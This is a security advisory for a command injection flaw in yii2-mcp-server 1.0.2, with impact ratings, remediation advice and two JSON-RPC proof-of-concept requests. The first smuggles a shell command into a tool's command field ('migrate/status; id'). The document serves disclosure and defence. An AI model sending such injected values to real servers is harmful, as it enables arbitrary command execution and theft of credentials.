# Yii2-MCP-Server Command Injection Vulnerability Summary ## Vulnerability Overview * **Vulnerability Name**: Yii2-MCP-Server Command Injection Vulnerability (CVE ID Request) * **Vulnerability Type**: Command Injection (CWE-78) * **Severity**: High (CVSS v3.1 Base Score 8.8) * **Description**: In `yii2-mcp-server` version 1.0.2, the `yii_command_help` and `yii_execute_command` tools contain command injection vulnerabilities. The server directly concatenates user-supplied parameters into PHP CLI commands for execution without effective filtering. Attackers can inject arbitrary operating system commands, leading to complete server compromise. ## Affected Scope * **Affected Version**: 1.0.2 * **Affected Components**: * `src/index.ts` * `src/yii2.ts` * **Security Impact**: * **Confidentiality**: High (ability to read environment variables, application keys, database credentials, etc.). * **Integrity**: High (ability to modify files, application state, or execute unintended Yii commands). * **Availability**: High (ability to terminate processes, delete data, or exhaust resources). ## Remediation 1. **Restrict Access**: Allow access only to trusted users and trusted local MCP clients. 2. **Permission Control**: Run the MCP server under a dedicated low-privilege account. 3. **Disable Dangerous Tools**: Disable command-execution-oriented tools such as `yii_command_help` and `yii_execute_command`. 4. **Network Isolation**: Avoid exposing the MCP server over the network to untrusted users. 5. **Code Fix Recommendations**: * Do not construct shell command strings using untrusted input. * Use the array argument form of `exec`/`execAsync` (e.g., `spawn('php', ['yii', 'migrate/status', 'id'])`) instead of string concatenation. * Validate that `command` and `args` conform to expected Yii command names and option formats. * Reject shell metacharacters and unsupported parameters in the MCP mode schema. ## POC Code (Proof of Concept) **1. Exploiting the `yii_command_help` tool to execute the `id` command:** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "yii_command_help", "arguments": { "command": "migrate/status; id" } } } ``` **2. Exploiting the `yii_execute_command` tool to execute the `id` command:** ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "yii_execute_command", "arguments": { "command": "help", "args": ["migrate/status", "id"], "interactive": false } } } ```